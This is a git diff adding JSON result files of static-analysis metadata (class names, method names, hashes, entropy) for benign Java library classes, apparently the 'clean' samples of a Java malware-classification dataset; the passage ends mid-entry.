a/java_classification/data/clean/23a93f5bb6dec3cf1cd87154a9c7c17e8b42c991d05cc2409eb4ca0e104a64cb.results b/java_classification/data/clean/23a93f5bb6dec3cf1cd87154a9c7c17e8b42c991d05cc2409eb4ca0e104a64cb.results new file mode 100755 index 0000000..ab401a7 --- /dev/null +++ b/java_classification/data/clean/23a93f5bb6dec3cf1cd87154a9c7c17e8b42c991d05cc2409eb4ca0e104a64cb.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Task.java", "class_name": "org/apache/hadoop/mapred/Task$FileSystemStatisticUpdater", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "updateCounters"], "minor_version": 0, "const_pool_count": 95}}, "_id": "6db6d525-7bd1-4217-b862-f766e9a8c608", "verbose": {"java": {"signatures": ["(Lorg/apache/hadoop/mapred/Task$FileSystemCounter;Lorg/apache/hadoop/mapred/Task$FileSystemCounter;Ljava/lang/Class<+Lorg/apache/hadoop/fs/FileSystem;>;)V"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "0ccb17b0d94d29ae9725353efb1552d10ab66014", "file_name": "java_clean/23a93f5bb6dec3cf1cd87154a9c7c17e8b42c991d05cc2409eb4ca0e104a64cb", "_id": "6db6d525-7bd1-4217-b862-f766e9a8c608", "score": 0, "entropy": 5.499508552643564, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2363, "ssdeep": "48:NCaUMxs3wdeDfSRlCuyFxfSJFs20GO8JIvFFxstSKxtZ9qSmbx1xQxsglsvWEyYy:NCaUM4wwDfSRlCTxfSvXlH2tFQDxt7qE", "sha256": "23a93f5bb6dec3cf1cd87154a9c7c17e8b42c991d05cc2409eb4ca0e104a64cb", "md5": "56f996f014bfab77c23183677677e96c", "parent_sha256": "23a93f5bb6dec3cf1cd87154a9c7c17e8b42c991d05cc2409eb4ca0e104a64cb"}} \ No newline at end of file diff --git a/java_classification/data/clean/2448e0fd9af4e5b8e1d2ec83d10bf74bab0d3edcdab395c9dcaea3cba5f9fcac.results b/java_classification/data/clean/2448e0fd9af4e5b8e1d2ec83d10bf74bab0d3edcdab395c9dcaea3cba5f9fcac.results new file mode 100755 index 0000000..4145bae --- /dev/null +++ b/java_classification/data/clean/2448e0fd9af4e5b8e1d2ec83d10bf74bab0d3edcdab395c9dcaea3cba5f9fcac.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "NoSuchAttributeException.java", "class_name": "javax/naming/directory/NoSuchAttributeException", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", ""], "minor_version": 3, "const_pool_count": 21}}, "_id": "0129009c-e0bb-4f0c-a038-9b5770825dd1", "metadata": {"mimetype": "application/x-java-applet", "sha1": "bf04eb8130a117176379c11b11a7fdfe1ef7afcf", "file_name": "java_clean/2448e0fd9af4e5b8e1d2ec83d10bf74bab0d3edcdab395c9dcaea3cba5f9fcac", "_id": "0129009c-e0bb-4f0c-a038-9b5770825dd1", "score": 0, "entropy": 5.078696403515439, "libmagic": "compiled Java class data, version 45.3", "file_size": 407, "ssdeep": "12:c99lMs4MJy1v20lrpOKWLHdRKXpp5Sjl1xm3:cCsTy1JlrydRgSFm3", "sha256": "2448e0fd9af4e5b8e1d2ec83d10bf74bab0d3edcdab395c9dcaea3cba5f9fcac", "md5": "d7a4c6fb206e0f1069e99e31e9490af9", "parent_sha256": "2448e0fd9af4e5b8e1d2ec83d10bf74bab0d3edcdab395c9dcaea3cba5f9fcac"}} \ No newline at end of file diff --git a/java_classification/data/clean/2698fe8a2e5e5c4730e5202cf6254459937988f553b08c3658a863fb951441bb.results b/java_classification/data/clean/2698fe8a2e5e5c4730e5202cf6254459937988f553b08c3658a863fb951441bb.results new file mode 100755 index 0000000..97bbaf1 --- /dev/null +++ b/java_classification/data/clean/2698fe8a2e5e5c4730e5202cf6254459937988f553b08c3658a863fb951441bb.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/editors/MapEditor$44", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/awt/event/ActionListener"], "sourcefile": "MapEditor.java", "method_names": ["", "actionPerformed"], "minor_version": 0, "const_pool_count": 36}}, "_id": "8ce14ef1-347e-4cb6-8b78-eeb7db39f6bb", "metadata": {"mimetype": "application/x-java-applet", "sha1": "af7215e8692d504b3c8de356990f3379ba08bd0a", "file_name": "java_clean/2698fe8a2e5e5c4730e5202cf6254459937988f553b08c3658a863fb951441bb", "_id": "8ce14ef1-347e-4cb6-8b78-eeb7db39f6bb", "score": 0, "entropy": 5.1280358250038285, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 725, "ssdeep": "12:9C94RViYvXWNjO4uZ9lPsogOO0XlqTbLA6jtyiUe7DCE/WJCxUkt4N6l:G4n/F4U9lj/B4nLF/HoCOkD", "sha256": "2698fe8a2e5e5c4730e5202cf6254459937988f553b08c3658a863fb951441bb", "md5": "1d2ee135177b58b232b6ad927f81ebb5", "parent_sha256": "2698fe8a2e5e5c4730e5202cf6254459937988f553b08c3658a863fb951441bb"}} \ No newline at end of file diff --git a/java_classification/data/clean/2752636dcf22c56da4920c87cf3d61a87d5189458b056de1098a7f3dd790bb3c.results b/java_classification/data/clean/2752636dcf22c56da4920c87cf3d61a87d5189458b056de1098a7f3dd790bb3c.results new file mode 100755 index 0000000..1a0afd2 --- /dev/null +++ b/java_classification/data/clean/2752636dcf22c56da4920c87cf3d61a87d5189458b056de1098a7f3dd790bb3c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "AutoCloseInputStream.java", "class_name": "org/apache/commons/io/input/AutoCloseInputStream", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 47, "method_names": ["", "close", "read", "read", "read", "finalize"], "minor_version": 0, "const_pool_count": 57}}, "_id": "f3e8fad5-f440-41af-a7c3-838bedac5043", "metadata": {"mimetype": "application/x-java-applet", "sha1": "fd15f9a5367889a9b89fb6e68b12240c33e80d7d", "file_name": "java_clean/2752636dcf22c56da4920c87cf3d61a87d5189458b056de1098a7f3dd790bb3c", "_id": "f3e8fad5-f440-41af-a7c3-838bedac5043", "score": 0, "entropy": 4.99075153189244, "libmagic": "compiled Java class data, version 47.0 (Java 1.3)", "file_size": 1299, "ssdeep": "24:GWn1uljgG0jG4JETcysejNvBbQhaLN/cfxFnn:GW0lUs4+cy9jrQhaLVcD", "sha256": "2752636dcf22c56da4920c87cf3d61a87d5189458b056de1098a7f3dd790bb3c", "md5": "c60701122c9ecc222c3d6660269409f2", "parent_sha256": "2752636dcf22c56da4920c87cf3d61a87d5189458b056de1098a7f3dd790bb3c"}} \ No newline at end of file diff --git a/java_classification/data/clean/27793b2fa102848e35023b73c946414c16350d28567a96613ac4489f2119248c.results b/java_classification/data/clean/27793b2fa102848e35023b73c946414c16350d28567a96613ac4489f2119248c.results new file mode 100755 index 0000000..ea8e951 --- /dev/null +++ b/java_classification/data/clean/27793b2fa102848e35023b73c946414c16350d28567a96613ac4489f2119248c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "org/w3c/dom/css/Rect", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "major_version": 46, "method_names": ["getTop", "getRight", "getBottom", "getLeft"], "minor_version": 0, "const_pool_count": 10}}, "_id": "e8da6106-4870-4881-907a-4fa9ea8a5e64", "metadata": {"mimetype": "application/x-java-applet", "sha1": "68a264521dd1d5190a2781f7b9ece0f0e001e3ea", "file_name": "java_clean/27793b2fa102848e35023b73c946414c16350d28567a96613ac4489f2119248c", "_id": "e8da6106-4870-4881-907a-4fa9ea8a5e64", "score": 0, "entropy": 4.815880988045703, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 186, "ssdeep": "3:Dbllzloo8WxNBFJgl1R33klsDRnK6qORswwxNwGWE3QCK8PmkllsS8+hYlt:6oRxboR37nK7+swwxaw3RPAneY", "sha256": "27793b2fa102848e35023b73c946414c16350d28567a96613ac4489f2119248c", "md5": "21b52e526df8888df8d10204fd0f513e", "parent_sha256": "27793b2fa102848e35023b73c946414c16350d28567a96613ac4489f2119248c"}} \ No newline at end of file diff --git a/java_classification/data/clean/2824be2ec84f3456a86c1732fa52f7c70626c493b6baaeb118713335f2cc2762.results b/java_classification/data/clean/2824be2ec84f3456a86c1732fa52f7c70626c493b6baaeb118713335f2cc2762.results new file mode 100755 index 0000000..fbcb6f8 --- /dev/null +++ b/java_classification/data/clean/2824be2ec84f3456a86c1732fa52f7c70626c493b6baaeb118713335f2cc2762.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/screen/items/StarmapScreen$28", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Action0"], "sourcefile": "StarmapScreen.java", "method_names": ["", "invoke"], "minor_version": 0, "const_pool_count": 43}}, "_id": "b82b807d-d535-4398-a55f-bf02863c0d45", "metadata": {"mimetype": "application/x-java-applet", "sha1": "e1b5c70c17dd963e4bec4106de0c05dcc3f07a69", "file_name": "java_clean/2824be2ec84f3456a86c1732fa52f7c70626c493b6baaeb118713335f2cc2762", "_id": "b82b807d-d535-4398-a55f-bf02863c0d45", "score": 0, "entropy": 5.255278001850321, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 852, "ssdeep": "12:PfArGSqRgwzIAjPAzYuZ9lPso/Ar5hNVLNICIAXqoBDkn9F0yiU87DC5O/+pl:3ACSqOw8AjPAUU9lj/AgAXpVs9uY", "sha256": "2824be2ec84f3456a86c1732fa52f7c70626c493b6baaeb118713335f2cc2762", "md5": "abdad85da14d882a04fe2e3b6688f0ef", "parent_sha256": "2824be2ec84f3456a86c1732fa52f7c70626c493b6baaeb118713335f2cc2762"}} \ No newline at end of file diff --git a/java_classification/data/clean/29077fa4548ea0f01d46b3ab9486bf738ed97bd4c9273bad627451b0cfb38df9.results b/java_classification/data/clean/29077fa4548ea0f01d46b3ab9486bf738ed97bd4c9273bad627451b0cfb38df9.results new file mode 100755 index 0000000..4969e47 --- /dev/null +++ b/java_classification/data/clean/29077fa4548ea0f01d46b3ab9486bf738ed97bd4c9273bad627451b0cfb38df9.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "CompilationMessageCollector.java", "class_name": "org/apache/pig/impl/plan/CompilationMessageCollector$Message", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "", "getMessage", "getMessageType", "getKind"], "minor_version": 0, "const_pool_count": 50}}, "_id": "b7648ed0-985d-4aa9-843a-6cf88a4cc8d4", "metadata": {"mimetype": "application/x-java-applet", "sha1": "07c40bcb63e2af49177ce5e7d6585d4e06a46246", "file_name": "java_clean/29077fa4548ea0f01d46b3ab9486bf738ed97bd4c9273bad627451b0cfb38df9", "_id": "b7648ed0-985d-4aa9-843a-6cf88a4cc8d4", "score": 0, "entropy": 5.0681743247172895, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1514, "ssdeep": "24:3aD4VR5M4iuljE4TiGXx4Ybr4DZ45rb4mrL4w4ZHS2xz5enYC8FT:3aD4lM4Xl44jx4Ybr4145rb4mrL4w4SK", "sha256": "29077fa4548ea0f01d46b3ab9486bf738ed97bd4c9273bad627451b0cfb38df9", "md5": "a97bf71e3d57750c26b29e7057d52317", "parent_sha256": "29077fa4548ea0f01d46b3ab9486bf738ed97bd4c9273bad627451b0cfb38df9"}} \ No newline at end of file diff --git a/java_classification/data/clean/291781f520ea82ae36474e4af3d552bccb373065a37face1a2bca6cd9a79327a.results b/java_classification/data/clean/291781f520ea82ae36474e4af3d552bccb373065a37face1a2bca6cd9a79327a.results new file mode 100755 index 0000000..01c2c4b --- /dev/null +++ b/java_classification/data/clean/291781f520ea82ae36474e4af3d552bccb373065a37face1a2bca6cd9a79327a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 45, "class_name": "org/apache/commons/configuration/SubsetConfiguration$2", "access_permissions": ["ACC_SUPER"], "interfaces": ["org/apache/commons/collections/Transformer"], "sourcefile": "SubsetConfiguration.java", "method_names": ["", "transform"], "minor_version": 3, "const_pool_count": 38}}, "_id": "0bd19ea5-b975-4ad0-82b0-aa32605eabe0", "metadata": {"mimetype": "application/x-java-applet", "sha1": "b786b90c8097e1953e1b03dd578b8142684ed51f", "file_name": "java_clean/291781f520ea82ae36474e4af3d552bccb373065a37face1a2bca6cd9a79327a", "_id": "0bd19ea5-b975-4ad0-82b0-aa32605eabe0", "score": 0, "entropy": 5.1410020080295125, "libmagic": "compiled Java class data, version 45.3", "file_size": 916, "ssdeep": "12:cX6GtxC1WkA25xC1W5ulPsoxhzxC1ZhjCl8zt143rPS7MuLsxC1ZWSRN5xC1jAMJ:cX6HxA2a6uljQvTYmb7vWSOxYOJ1d", "sha256": "291781f520ea82ae36474e4af3d552bccb373065a37face1a2bca6cd9a79327a", "md5": "58b685caf88fde714511a76ecb33b4e2", "parent_sha256": "291781f520ea82ae36474e4af3d552bccb373065a37face1a2bca6cd9a79327a"}} \ No newline at end of file diff --git a/java_classification/data/clean/291ca1572bf787ff29f552d65eacf5afd81c501ac09fa6c1c82274dafd209183.results b/java_classification/data/clean/291ca1572bf787ff29f552d65eacf5afd81c501ac09fa6c1c82274dafd209183.results new file mode 100755 index 0000000..416a19c --- /dev/null +++ b/java_classification/data/clean/291ca1572bf787ff29f552d65eacf5afd81c501ac09fa6c1c82274dafd209183.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "DefaultElement.java", "class_name": "org/dom4j/tree/DefaultElement", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 47, "method_names": ["", "", "", "", "getParent", "setParent", "getDocument", "setDocument", "supportsParent", "getQName", "setQName", "getText", "getStringValue", "clone", "getNamespaceForPrefix", "getNamespaceForURI", "declaredNamespaces", "additionalNamespaces", "additionalNamespaces", "processingInstructions", "processingInstructions", "processingInstruction", "removeProcessingInstruction", "element", "element", "element", "setContent", "clearContent", "node", "indexOf", "nodeCount", "nodeIterator", "attributes", "setAttributes", "attributeIterator", "attribute", "attributeCount", "attribute", "attribute", "attribute", "add", "remove", "addNewNode", "removeNode", "contentList", "attributeList", "attributeList", "setAttributeList", "getDocumentFactory", ""], "minor_version": 0, "const_pool_count": 382}}, "_id": "b2918862-6bf1-48ad-b79b-f3497a1b6c4f", "verbose": {"java": {"constant strings": ["", "xml", "The Attribute already has an existing parent \"", "\""]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "6588e1eb6b2162278ec61f3103a09e61470bd4d0", "file_name": "java_clean/291ca1572bf787ff29f552d65eacf5afd81c501ac09fa6c1c82274dafd209183", "_id": "b2918862-6bf1-48ad-b79b-f3497a1b6c4f", "score": 0, "entropy": 5.605933570975533, "libmagic": "compiled Java class data, version 47.0 (Java 1.3)", "file_size": 14446, "ssdeep": "192:+slUluntNpa08cmhSjzfuJNJnP+++JYu2j3nP0DXMQgwIUVYpP2araBENRAN:VTnLEIfaNZP+++Wvj8DXM4IKgauNRAN", "sha256": "291ca1572bf787ff29f552d65eacf5afd81c501ac09fa6c1c82274dafd209183", "md5": "307976f6ff6c6aa674806d64cfe309c8", "parent_sha256": "291ca1572bf787ff29f552d65eacf5afd81c501ac09fa6c1c82274dafd209183"}} \ No newline at end of file diff --git a/java_classification/data/clean/291da1357d423067b5db2e9dadbee5840973edd30ea783e1c451e88b16ef9b40.results b/java_classification/data/clean/291da1357d423067b5db2e9dadbee5840973edd30ea783e1c451e88b16ef9b40.results new file mode 100755 index 0000000..8beb2b7 --- /dev/null +++ b/java_classification/data/clean/291da1357d423067b5db2e9dadbee5840973edd30ea783e1c451e88b16ef9b40.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "HierarchicalConfiguration.java", "class_name": "org/apache/commons/configuration/HierarchicalConfiguration$DefinedKeysVisitor", "access_permissions": ["ACC_SUPER"], "major_version": 45, "method_names": ["", "", "getKeyList", "visitBeforeChildren", "addKey"], "minor_version": 3, "const_pool_count": 83}}, "_id": "7bc98f7f-4298-4944-ab5f-93a4319c2d05", "metadata": {"mimetype": "application/x-java-applet", "sha1": "367dccda082ee8c2ffffbfc7883f2113d56afc6e", "file_name": "java_clean/291da1357d423067b5db2e9dadbee5840973edd30ea783e1c451e88b16ef9b40", "_id": "7bc98f7f-4298-4944-ab5f-93a4319c2d05", "score": 0, "entropy": 5.409645644733781, "libmagic": "compiled Java class data, version 45.3", "file_size": 2076, "ssdeep": "24:cTFYqxPMXQByQuljI4olCg1VoOrzwugh7SaX3sb/votM0vVolwqrPkcIr9w2rVOo:YiQByFlCpn0ughWqcb0FyTP6VrQy6Sn", "sha256": "291da1357d423067b5db2e9dadbee5840973edd30ea783e1c451e88b16ef9b40", "md5": "654d671da24c6d375ffcd188ff19f660", "parent_sha256": "291da1357d423067b5db2e9dadbee5840973edd30ea783e1c451e88b16ef9b40"}} \ No newline at end of file diff --git a/java_classification/data/clean/296ddb68768cb0613d408c5b217b0f15622d883105bdb3d5d42e365afd1f29bd.results b/java_classification/data/clean/296ddb68768cb0613d408c5b217b0f15622d883105bdb3d5d42e365afd1f29bd.results new file mode 100755 index 0000000..a7ec0cd --- /dev/null +++ b/java_classification/data/clean/296ddb68768cb0613d408c5b217b0f15622d883105bdb3d5d42e365afd1f29bd.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Multimaps.java", "class_name": "com/google/common/collect/Multimaps$UnmodifiableMultimap$1", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "delegate", "entrySet", "get", "values", "containsValue", "get", "delegate"], "minor_version": 0, "const_pool_count": 106}}, "_id": "1104e08b-9936-4c4f-9612-c2f2bf33dcf9", "verbose": {"java": {"signatures": ["Ljava/util/Set;>;>;", "Ljava/util/Collection;>;", "()Ljava/util/Map;>;", "()Ljava/util/Set;>;>;", "(Ljava/lang/Object;)Ljava/util/Collection;", "()Ljava/util/Collection;>;", "Lcom/google/common/collect/ForwardingMap;>;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "652d0b3bf63a8b211021bf3e47807d7050880856", "file_name": "java_clean/296ddb68768cb0613d408c5b217b0f15622d883105bdb3d5d42e365afd1f29bd", "_id": "1104e08b-9936-4c4f-9612-c2f2bf33dcf9", "score": 0, "entropy": 5.242556756083729, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3030, "ssdeep": "48:GEJZbAHTR6RlBwH9kUuW0tZZ4gGDFBAVMnKrS9UX+qGyN:GhzelBwdkUr0TWuKUuqR", "sha256": "296ddb68768cb0613d408c5b217b0f15622d883105bdb3d5d42e365afd1f29bd", "md5": "7b14d21fdf927613c9ad29dc37090171", "parent_sha256": "296ddb68768cb0613d408c5b217b0f15622d883105bdb3d5d42e365afd1f29bd"}} \ No newline at end of file diff --git a/java_classification/data/clean/2975599c64154df7330aa44081c0663a74c84c4039dd4059380a8bbfb52578e9.results b/java_classification/data/clean/2975599c64154df7330aa44081c0663a74c84c4039dd4059380a8bbfb52578e9.results new file mode 100755 index 0000000..02bfa03 --- /dev/null +++ b/java_classification/data/clean/2975599c64154df7330aa44081c0663a74c84c4039dd4059380a8bbfb52578e9.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/cache/CacheLoader$FunctionToCacheLoader", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "interfaces": ["java/io/Serializable"], "sourcefile": "CacheLoader.java", "method_names": ["", "load"], "minor_version": 0, "const_pool_count": 52}}, "_id": "f85f8efc-3afa-46d5-befb-88f4384c8025", "verbose": {"java": {"signatures": ["Lcom/google/common/base/Function;", "(Lcom/google/common/base/Function;)V", "(TK;)TV;", "Lcom/google/common/cache/CacheLoader;Ljava/io/Serializable;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "0884e93eb9b571fd25662e24187a0a7d99cd1cc7", "file_name": "java_clean/2975599c64154df7330aa44081c0663a74c84c4039dd4059380a8bbfb52578e9", "_id": "f85f8efc-3afa-46d5-befb-88f4384c8025", "score": 0, "entropy": 5.1724894127752705, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1347, "ssdeep": "24:IrXSNuuljeh2h8KFaD/2II/NfkG6/P0Tjp1kx1:YX+Tln8aMG6/P0gx1", "sha256": "2975599c64154df7330aa44081c0663a74c84c4039dd4059380a8bbfb52578e9", "md5": "95566dbefee5841e45008869bc249258", "parent_sha256": "2975599c64154df7330aa44081c0663a74c84c4039dd4059380a8bbfb52578e9"}} \ No newline at end of file diff --git a/java_classification/data/clean/29c7d465177f7b1195fd8260a1db0d6cd408118b4857832b4639ae96e9f943da.results b/java_classification/data/clean/29c7d465177f7b1195fd8260a1db0d6cd408118b4857832b4639ae96e9f943da.results new file mode 100755 index 0000000..1ce4758 --- /dev/null +++ b/java_classification/data/clean/29c7d465177f7b1195fd8260a1db0d6cd408118b4857832b4639ae96e9f943da.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "DatePickerDuration.java", "class_name": "org/odlabs/wiquery/ui/datepicker/DatePickerDuration$DurationEnum", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER", "ACC_ENUM"], "major_version": 49, "method_names": ["values", "valueOf", "", "toString", ""], "minor_version": 0, "const_pool_count": 78}}, "_id": "410cc79f-0512-4769-84da-d16cae18d098", "verbose": {"java": {"signatures": ["(Lorg/odlabs/wiquery/core/options/LiteralOption;)V", "Ljava/lang/Enum;"], "constant strings": ["FAST", "fast", "NORMAL", "normal", "SLOW", "slow"], "JAVA String Analysis": {"obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "slow"}}}}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "57e6685df75e8113a4361f9e3c7d8f09c5b8ce64", "file_name": "java_clean/29c7d465177f7b1195fd8260a1db0d6cd408118b4857832b4639ae96e9f943da", "_id": "410cc79f-0512-4769-84da-d16cae18d098", "score": 0, "entropy": 5.4312823005486015, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1853, "ssdeep": "24:zYNc8XqIpQkpultppCBZpTspiaCuRMU8pXWNgZiUCTqHDDsn+xyREU1h7V6iOC:hIyl30Bj7pcNP/Con+xymU1qC", "sha256": "29c7d465177f7b1195fd8260a1db0d6cd408118b4857832b4639ae96e9f943da", "md5": "25438ee9bc64528408e0c447c8d822ce", "parent_sha256": "29c7d465177f7b1195fd8260a1db0d6cd408118b4857832b4639ae96e9f943da"}} \ No newline at end of file diff --git a/java_classification/data/clean/2a242ab71f9a364d75a9f26db5cf61f50d928d4e816a9c7e38f2f35beed52a26.results b/java_classification/data/clean/2a242ab71f9a364d75a9f26db5cf61f50d928d4e816a9c7e38f2f35beed52a26.results new file mode 100755 index 0000000..0037007 --- /dev/null +++ b/java_classification/data/clean/2a242ab71f9a364d75a9f26db5cf61f50d928d4e816a9c7e38f2f35beed52a26.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "FileSystem.java", "class_name": "org/apache/hadoop/fs/FileSystem$ClientFinalizer", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "run", ""], "minor_version": 0, "const_pool_count": 61}}, "_id": "81ecde69-333d-4395-8242-a130315dbd4b", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"signatures": {"file": "rot0"}}}, "constant strings": ["FileSystem.closeAll() threw an exception:\\n"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ddf64bb86805f2db892ab3b68212831542fe96b4", "file_name": "java_clean/2a242ab71f9a364d75a9f26db5cf61f50d928d4e816a9c7e38f2f35beed52a26", "_id": "81ecde69-333d-4395-8242-a130315dbd4b", "score": 0, "entropy": 5.332734015134933, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1209, "ssdeep": "24:L4WyQulj2KyGIxd/VHZahJyVwgy99ttEEUnfn:sWyFlqjGsBVHZahJyKgGtSn", "sha256": "2a242ab71f9a364d75a9f26db5cf61f50d928d4e816a9c7e38f2f35beed52a26", "md5": "b074bb3f6fb5c4283a43338806da77de", "parent_sha256": "2a242ab71f9a364d75a9f26db5cf61f50d928d4e816a9c7e38f2f35beed52a26"}} \ No newline at end of file diff --git a/java_classification/data/clean/2b0b6ee4cf30637355b8bb94c64e044f15440926225d416575804c649451d2e1.results b/java_classification/data/clean/2b0b6ee4cf30637355b8bb94c64e044f15440926225d416575804c649451d2e1.results new file mode 100755 index 0000000..946e006 --- /dev/null +++ b/java_classification/data/clean/2b0b6ee4cf30637355b8bb94c64e044f15440926225d416575804c649451d2e1.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "JsScopePositionEvent.java", "class_name": "org/odlabs/wiquery/ui/position/JsScopePositionEvent$1", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "major_version": 49, "method_names": ["", "execute"], "minor_version": 0, "const_pool_count": 42}}, "_id": "41f29213-92a4-46e1-8087-9d0a11345357", "metadata": {"mimetype": "application/x-java-applet", "sha1": "98d54aee79b9cda1f41018cf5dfa84b4468fa936", "file_name": "java_clean/2b0b6ee4cf30637355b8bb94c64e044f15440926225d416575804c649451d2e1", "_id": "41f29213-92a4-46e1-8087-9d0a11345357", "score": 0, "entropy": 5.239100930828437, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1080, "ssdeep": "24:nhGstuljpsydsqTx8F2phydM/yd3aydtZQX0+tGl+g+:nhtslTON2pUm6VS1", "sha256": "2b0b6ee4cf30637355b8bb94c64e044f15440926225d416575804c649451d2e1", "md5": "56674c148437f66de3b7a38e33b930cd", "parent_sha256": "2b0b6ee4cf30637355b8bb94c64e044f15440926225d416575804c649451d2e1"}} \ No newline at end of file diff --git a/java_classification/data/clean/2b52e8b387579563615e2e19ccc5515c27aab1e159eb281ac7345c5dc5425f10.results b/java_classification/data/clean/2b52e8b387579563615e2e19ccc5515c27aab1e159eb281ac7345c5dc5425f10.results new file mode 100755 index 0000000..6a68945 --- /dev/null +++ b/java_classification/data/clean/2b52e8b387579563615e2e19ccc5515c27aab1e159eb281ac7345c5dc5425f10.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "org/xml/sax/SAXParseException", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 46, "method_names": ["", "", "", "", "init", "getPublicId", "getSystemId", "getLineNumber", "getColumnNumber"], "minor_version": 0, "const_pool_count": 51}}, "_id": "a3fbd8b9-d997-430e-bdbb-886362f8c878", "metadata": {"mimetype": "application/x-java-applet", "sha1": "45f09d27a7254f7711c290acacc57e41733f97b7", "file_name": "java_clean/2b52e8b387579563615e2e19ccc5515c27aab1e159eb281ac7345c5dc5425f10", "_id": "a3fbd8b9-d997-430e-bdbb-886362f8c878", "score": 0, "entropy": 5.196677581953968, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 1223, "ssdeep": "24:8Gs+ZoMpbgkJDd6zvklPuN6NGPsyYPsy+O7sstLsf:vs+ZpgkJtlPuNoGPiPcO7sstLsf", "sha256": "2b52e8b387579563615e2e19ccc5515c27aab1e159eb281ac7345c5dc5425f10", "md5": "38610eed4e400e71d73db97e8731558e", "parent_sha256": "2b52e8b387579563615e2e19ccc5515c27aab1e159eb281ac7345c5dc5425f10"}} \ No newline at end of file diff --git a/java_classification/data/clean/2cac607ba5490f413bccf6f63da08f8deef5e2a91617721871105cfa8481312b.results b/java_classification/data/clean/2cac607ba5490f413bccf6f63da08f8deef5e2a91617721871105cfa8481312b.results new file mode 100755 index 0000000..af1d7ba --- /dev/null +++ b/java_classification/data/clean/2cac607ba5490f413bccf6f63da08f8deef5e2a91617721871105cfa8481312b.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/gson/MappedObjectConstructor", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "interfaces": ["com/google/gson/ObjectConstructor"], "sourcefile": "MappedObjectConstructor.java", "method_names": ["", "construct", "constructArray", "constructWithNoArgConstructor", "getNoArgsConstructor", "register", "toString", ""], "minor_version": 0, "const_pool_count": 197}}, "_id": "4a8a8c62-ece5-46a7-9536-53ad03783239", "verbose": {"java": {"signatures": ["Lcom/google/gson/ParameterizedTypeHandlerMap;>;", "(Lcom/google/gson/ParameterizedTypeHandlerMap;>;)V", "(Ljava/lang/reflect/Type;)TT;", "(Ljava/lang/reflect/Type;)TT;", "(Ljava/lang/reflect/Type;)Ljava/lang/reflect/Constructor;", "(Ljava/lang/reflect/Type;Lcom/google/gson/InstanceCreator<+TT;>;)V"], "constant strings": ["No-args constructor for ", " does not exist. ", "Register an InstanceCreator with Gson for this type to fix this problem.", "Unable to invoke no-args constructor for ", ". ", "Register an InstanceCreator with Gson for this type may fix this problem.", "Overriding the existing InstanceCreator for "], "JAVA String Analysis": {"combined strings entropy": 4.282046576234574, "obfuscated_data": {"signatures": {"java": "rot18"}}}}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "6a939ae221f4d6070638e29403d43390702e69b6", "file_name": "java_clean/2cac607ba5490f413bccf6f63da08f8deef5e2a91617721871105cfa8481312b", "_id": "4a8a8c62-ece5-46a7-9536-53ad03783239", "score": 0, "entropy": 5.558521084673843, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 5146, "ssdeep": "96:1Ul8FB3+YoUj32QjXJHRHfjKnq1Qwsi8LV/:1Ul8CUjmgXJxHfjKq1XzgV/", "sha256": 